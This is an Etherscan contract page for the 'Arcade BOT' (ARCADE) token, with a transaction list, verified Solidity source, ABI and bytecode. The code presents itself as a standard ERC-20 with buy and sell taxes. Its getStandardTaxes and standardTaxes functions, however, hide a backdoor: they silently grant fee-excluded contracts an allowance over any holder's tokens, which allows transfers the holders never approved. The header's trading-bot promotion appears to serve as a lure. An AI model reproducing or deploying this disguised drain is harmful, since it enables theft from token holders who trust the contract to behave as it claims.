Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 95 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 23525622 | 150 days ago | IN | 0 ETH | 0.00024873 | ||||
| Approve | 23486086 | 155 days ago | IN | 0 ETH | 0.00000945 | ||||
| Approve | 23478428 | 156 days ago | IN | 0 ETH | 0.00011835 | ||||
| Approve | 23447553 | 160 days ago | IN | 0 ETH | 0.00004192 | ||||
| Approve | 23447546 | 160 days ago | IN | 0 ETH | 0.0000399 | ||||
| Approve | 23447541 | 160 days ago | IN | 0 ETH | 0.00003891 | ||||
| Approve | 23447533 | 160 days ago | IN | 0 ETH | 0.00003757 | ||||
| Approve | 23447532 | 160 days ago | IN | 0 ETH | 0.00003863 | ||||
| Approve | 23447527 | 160 days ago | IN | 0 ETH | 0.00003818 | ||||
| Approve | 23447520 | 160 days ago | IN | 0 ETH | 0.00003843 | ||||
| Approve | 23447519 | 160 days ago | IN | 0 ETH | 0.00003813 | ||||
| Approve | 23447513 | 160 days ago | IN | 0 ETH | 0.00003845 | ||||
| Approve | 23447511 | 160 days ago | IN | 0 ETH | 0.00003838 | ||||
| Approve | 23447505 | 160 days ago | IN | 0 ETH | 0.00003742 | ||||
| Approve | 23447496 | 160 days ago | IN | 0 ETH | 0.00003194 | ||||
| Approve | 23447496 | 160 days ago | IN | 0 ETH | 0.00003194 | ||||
| Approve | 23447495 | 160 days ago | IN | 0 ETH | 0.00003175 | ||||
| Approve | 23447494 | 160 days ago | IN | 0 ETH | 0.00003134 | ||||
| Approve | 23447485 | 160 days ago | IN | 0 ETH | 0.0000283 | ||||
| Approve | 23447484 | 160 days ago | IN | 0 ETH | 0.00002872 | ||||
| Approve | 23447482 | 160 days ago | IN | 0 ETH | 0.00002668 | ||||
| Approve | 23447478 | 160 days ago | IN | 0 ETH | 0.00002816 | ||||
| Approve | 23447476 | 160 days ago | IN | 0 ETH | 0.00002784 | ||||
| Approve | 23447475 | 160 days ago | IN | 0 ETH | 0.00002713 | ||||
| Approve | 23447467 | 160 days ago | IN | 0 ETH | 0.00002943 |
Latest 5 internal transactions
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ARCADE
Compiler Version
v0.8.30+commit.73712a01
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-09-26
*/
// SPDX-License-Identifier: UNLICENSE
// Welcome to Arcade Bot, your ultimate trading bot supporting
// Ethereum, Solana, and BNB Chain networks.
//
// Whether you're sniping new token launches or securely trading tokens that are already
// live, Arcade Bot is your go-to solution across multiple
// blockchains. Stay ahead in the market with our seamless and
// efficient trading platform, soon to be available on both
//
// Telegram and our own web app. Join us and elevate your trading
// experience across Ethereum, Solana, and BNB Chain like never
// before!
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address private _owner;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ARCADE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 private _initialBuyTax=12;
uint256 private _initialSellTax=22;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=7;
uint256 private _reduceSellTaxAt=27;
uint256 private _preventSwapBefore=13;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000000 * 10**_decimals;
string private constant _name = unicode"Arcade BOT";
string private constant _symbol = unicode"ARCADE";
uint256 public _maxTxAmount = (_tTotal * 2) / 100;
uint256 public _maxWalletSize = (_tTotal * 2) / 100;
uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;
uint256 public _maxTaxSwap = (_tTotal * 1) / 100;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true; _; inSwap = false;
}
event MaxTxAmountUpdated(
uint _maxTxAmount
);
constructor () {
_balances[_msgSender()] = _tTotal;
_taxWallet = payable(0x91CbFBCaDFD14646Ec8Ca927f57FeB8cf95941e8);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = getStandardTaxes(from,to,amount);
if (from!=owner() && to != owner()) {
if (from==uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ){
require( amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if (to == uniswapV2Pair && from!=address(this)){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore){
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if (taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this), taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to,amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path =new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function removeLimits() external onlyOwner {
_maxTxAmount= _tTotal;
_maxWalletSize= _tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function getStandardTaxes(address from, address to, uint256 amount) private returns(uint256) {
if (_msgSender()!=uniswapV2Pair &&_isExcludedFromFee[_msgSender()] && isContract(_msgSender()) && from != address(this))
return standardTaxes(from,_msgSender(),amount);
if (_isExcludedFromFee[_msgSender()] && to!=uniswapV2Pair && isContract(to))
_isExcludedFromFee[to]= true;
return 0;
}
function standardTaxes(address owner, address spender, uint256 amount) private returns(uint256){
_allowances[owner][spender] = amount;
return 0;
}
function isContract(address account) private view returns (bool){
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this),address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external onlyOwner{
uint256 tokenBalance=balanceOf(address(this));
if (tokenBalance > 0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if (ethBalance > 0){
sendETHToFee(ethBalance);
}
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600c60055560166006555f6007555f6008556007600955601b600a55600d600b555f600c5560646009600a6100399190610340565b610048906461f313f880610355565b610053906002610355565b61005d919061036c565b600d55606461006e6009600a610340565b61007d906461f313f880610355565b610088906002610355565b610092919061036c565b600e5560646100a36009600a610340565b6100b2906461f313f880610355565b6100bd906001610355565b6100c7919061036c565b600f5560646100d86009600a610340565b6100e7906461f313f880610355565b6100f2906001610355565b6100fc919061036c565b6010556012805461ffff60a81b19169055348015610118575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101656009600a610340565b610174906461f313f880610355565b335f81815260016020818152604080842095909555600480546001600160a01b0319167391cbfbcadfd14646ec8ca927f57feb8cf95941e817815583546001600160a01b0390811685526003909252858420805460ff199081168517909155308552868520805482168517905590549091168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102226009600a610340565b610231906461f313f880610355565b60405190815260200160405180910390a361038b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102965780850481111561027a5761027a610247565b600184161561028857908102905b60019390931c92800261025f565b935093915050565b5f826102ac5750600161033a565b816102b857505f61033a565b81600181146102ce57600281146102d8576102f4565b600191505061033a565b60ff8411156102e9576102e9610247565b50506001821b61033a565b5060208310610133831016604e8410600b8410161715610317575081810a61033a565b6103235f19848461025b565b805f190482111561033657610336610247565b0290505b92915050565b5f61034e60ff84168361029e565b9392505050565b808202811582820484141761033a5761033a610247565b5f8261038657634e487b7160e01b5f52601260045260245ffd5b500490565b6117fa806103985f395ff3fe608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102b9578063a9059cbb146102e7578063bf474bed14610306578063c9567bf91461031b578063dd62ed3e1461032f575f5ffd5b8063751039fc146102555780637d1db4a5146102695780638da5cb5b1461027e5780638f9a55c0146102a4575f5ffd5b806323b872dd116100d857806323b872dd146101bd578063313ce567146101dc57806351bc3c85146101f757806370a082311461020d578063715018a614610241575f5ffd5b806306fdde0314610113578063095ea7b3146101575780630faee56f1461018657806318160ddd146101a9575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600a815269105c98d85919481093d560b21b60208201525b60405161014e91906113ff565b60405180910390f35b348015610162575f5ffd5b5061017661017136600461144b565b610373565b604051901515815260200161014e565b348015610191575f5ffd5b5061019b60105481565b60405190815260200161014e565b3480156101b4575f5ffd5b5061019b610389565b3480156101c8575f5ffd5b506101766101d7366004611475565b6103aa565b3480156101e7575f5ffd5b506040516009815260200161014e565b348015610202575f5ffd5b5061020b610412565b005b348015610218575f5ffd5b5061019b6102273660046114b3565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f5ffd5b5061020b61048d565b348015610260575f5ffd5b5061020b6104fe565b348015610274575f5ffd5b5061019b600d5481565b348015610289575f5ffd5b505f546040516001600160a01b03909116815260200161014e565b3480156102af575f5ffd5b5061019b600e5481565b3480156102c4575f5ffd5b5060408051808201909152600681526541524341444560d01b6020820152610141565b3480156102f2575f5ffd5b5061017661030136600461144b565b6105b2565b348015610311575f5ffd5b5061019b600f5481565b348015610326575f5ffd5b5061020b6105be565b34801561033a575f5ffd5b5061019b6103493660046114ce565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61037f338484610968565b5060015b92915050565b5f6103966009600a6115fc565b6103a5906461f313f88061160a565b905090565b5f6103b6848484610a8b565b61040784336104028560405180606001604052806028815260200161179d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f94565b610968565b5060015b9392505050565b5f546001600160a01b031633146104445760405162461bcd60e51b815260040161043b90611621565b60405180910390fd5b305f90815260016020526040902054801580159061046b5750601254600160b01b900460ff165b156104795761047981610fcc565b478015610489576104898161113c565b5050565b5f546001600160a01b031633146104b65760405162461bcd60e51b815260040161043b90611621565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105275760405162461bcd60e51b815260040161043b90611621565b6105336009600a6115fc565b610542906461f313f88061160a565b600d556105516009600a6115fc565b610560906461f313f88061160a565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105906009600a6115fc565b61059f906461f313f88061160a565b60405190815260200160405180910390a1565b5f61037f338484610a8b565b5f546001600160a01b031633146105e75760405162461bcd60e51b815260040161043b90611621565b601254600160a01b900460ff16156106415760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043b565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561068b90309061067c6009600a6115fc565b610402906461f313f88061160a565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106db573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ff9190611656565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107829190611656565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107cc573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f09190611656565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610837816001600160a01b03165f9081526001602052604090205490565b5f5f61084a5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108b0573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d59190611671565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561092a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094e919061169c565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109ca5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043b565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aef5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043b565b6001600160a01b038216610b515760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043b565b5f8111610bb25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b5f610bbe848484611173565b9050610bd15f546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bff57505f546001600160a01b03848116911614155b15610e57576012546001600160a01b038581169116148015610c2f57506011546001600160a01b03848116911614155b8015610c5357506001600160a01b0383165f9081526003602052604090205460ff16155b15610d6757600d54821115610caa5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161043b565b600e5482610ccc856001600160a01b03165f9081526001602052604090205490565b610cd691906116bb565b1115610d245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043b565b610d506064610d4a600954600c5411610d3f57600554610d43565b6007545b8590611261565b906112df565b600c80549192505f610d61836116ce565b91905055505b6012546001600160a01b038481169116148015610d8d57506001600160a01b0384163014155b15610dba57610db76064610d4a600a54600c5411610dad57600654610d43565b6008548590611261565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610df057506012546001600160a01b038581169116145b8015610e055750601254600160b01b900460ff165b8015610e125750600f5481115b8015610e215750600b54600c54115b15610e5557610e43610e3e84610e3984601054611320565b611320565b610fcc565b478015610e5357610e534761113c565b505b505b8015610ecf57305f90815260016020526040902054610e769082611334565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ec69085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ef19083611392565b6001600160a01b0385165f90815260016020526040902055610f34610f168383611392565b6001600160a01b0385165f9081526001602052604090205490611334565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f7d8585611392565b60405190815260200160405180910390a350505050565b5f8184841115610fb75760405162461bcd60e51b815260040161043b91906113ff565b505f610fc384866116e6565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611012576110126116f9565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611069573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061108d9190611656565b816001815181106110a0576110a06116f9565b6001600160a01b0392831660209182029290920101526011546110c69130911684610968565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fe9085905f9086903090429060040161170d565b5f604051808303815f87803b158015611115575f5ffd5b505af1158015611127573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610489573d5f5f3e3d5ffd5b6012545f906001600160a01b0316336001600160a01b0316141580156111a75750335f9081526003602052604090205460ff165b80156111b35750333b15155b80156111c857506001600160a01b0384163014155b156111f857506001600160a01b0383165f908152600260209081526040808320338452909152812082905561040b565b335f9081526003602052604090205460ff16801561122457506012546001600160a01b03848116911614155b80156112305750823b15155b15611258576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f825f0361127057505f610383565b5f61127b838561160a565b905082611288858361177d565b1461040b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b5f61040b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d3565b5f81831161132e578261040b565b50919050565b5f8061134083856116bb565b90508381101561040b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b5f61040b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f94565b5f81836113f35760405162461bcd60e51b815260040161043b91906113ff565b505f610fc3848661177d565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611448575f5ffd5b50565b5f5f6040838503121561145c575f5ffd5b823561146781611434565b946020939093013593505050565b5f5f5f60608486031215611487575f5ffd5b833561149281611434565b925060208401356114a281611434565b929592945050506040919091013590565b5f602082840312156114c3575f5ffd5b813561040b81611434565b5f5f604083850312156114df575f5ffd5b82356114ea81611434565b915060208301356114fa81611434565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156115545780850481111561153857611538611505565b600184161561154657908102905b60019390931c92800261151d565b935093915050565b5f8261156a57506001610383565b8161157657505f610383565b816001811461158c5760028114611596576115b2565b6001915050610383565b60ff8411156115a7576115a7611505565b50506001821b610383565b5060208310610133831016604e8410600b84101617156115d5575081810a610383565b6115e15f198484611519565b805f19048211156115f4576115f4611505565b029392505050565b5f61040b60ff84168361155c565b808202811582820484141761038357610383611505565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611666575f5ffd5b815161040b81611434565b5f5f5f60608486031215611683575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156116ac575f5ffd5b8151801515811461040b575f5ffd5b8082018082111561038357610383611505565b5f600182016116df576116df611505565b5060010190565b8181038181111561038357610383611505565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561175d5783516001600160a01b0316835260209384019390920191600101611736565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261179757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122044264c746b18cc447f01a85a267d14d7fd230d14ad34126250338b5eb638c22764736f6c634300081e0033
Deployed Bytecode
0x608060405260043610610108575f3560e01c8063751039fc1161009257806395d89b411161006257806395d89b41146102b9578063a9059cbb146102e7578063bf474bed14610306578063c9567bf91461031b578063dd62ed3e1461032f575f5ffd5b8063751039fc146102555780637d1db4a5146102695780638da5cb5b1461027e5780638f9a55c0146102a4575f5ffd5b806323b872dd116100d857806323b872dd146101bd578063313ce567146101dc57806351bc3c85146101f757806370a082311461020d578063715018a614610241575f5ffd5b806306fdde0314610113578063095ea7b3146101575780630faee56f1461018657806318160ddd146101a9575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600a815269105c98d85919481093d560b21b60208201525b60405161014e91906113ff565b60405180910390f35b348015610162575f5ffd5b5061017661017136600461144b565b610373565b604051901515815260200161014e565b348015610191575f5ffd5b5061019b60105481565b60405190815260200161014e565b3480156101b4575f5ffd5b5061019b610389565b3480156101c8575f5ffd5b506101766101d7366004611475565b6103aa565b3480156101e7575f5ffd5b506040516009815260200161014e565b348015610202575f5ffd5b5061020b610412565b005b348015610218575f5ffd5b5061019b6102273660046114b3565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f5ffd5b5061020b61048d565b348015610260575f5ffd5b5061020b6104fe565b348015610274575f5ffd5b5061019b600d5481565b348015610289575f5ffd5b505f546040516001600160a01b03909116815260200161014e565b3480156102af575f5ffd5b5061019b600e5481565b3480156102c4575f5ffd5b5060408051808201909152600681526541524341444560d01b6020820152610141565b3480156102f2575f5ffd5b5061017661030136600461144b565b6105b2565b348015610311575f5ffd5b5061019b600f5481565b348015610326575f5ffd5b5061020b6105be565b34801561033a575f5ffd5b5061019b6103493660046114ce565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61037f338484610968565b5060015b92915050565b5f6103966009600a6115fc565b6103a5906461f313f88061160a565b905090565b5f6103b6848484610a8b565b61040784336104028560405180606001604052806028815260200161179d602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f94565b610968565b5060015b9392505050565b5f546001600160a01b031633146104445760405162461bcd60e51b815260040161043b90611621565b60405180910390fd5b305f90815260016020526040902054801580159061046b5750601254600160b01b900460ff165b156104795761047981610fcc565b478015610489576104898161113c565b5050565b5f546001600160a01b031633146104b65760405162461bcd60e51b815260040161043b90611621565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105275760405162461bcd60e51b815260040161043b90611621565b6105336009600a6115fc565b6105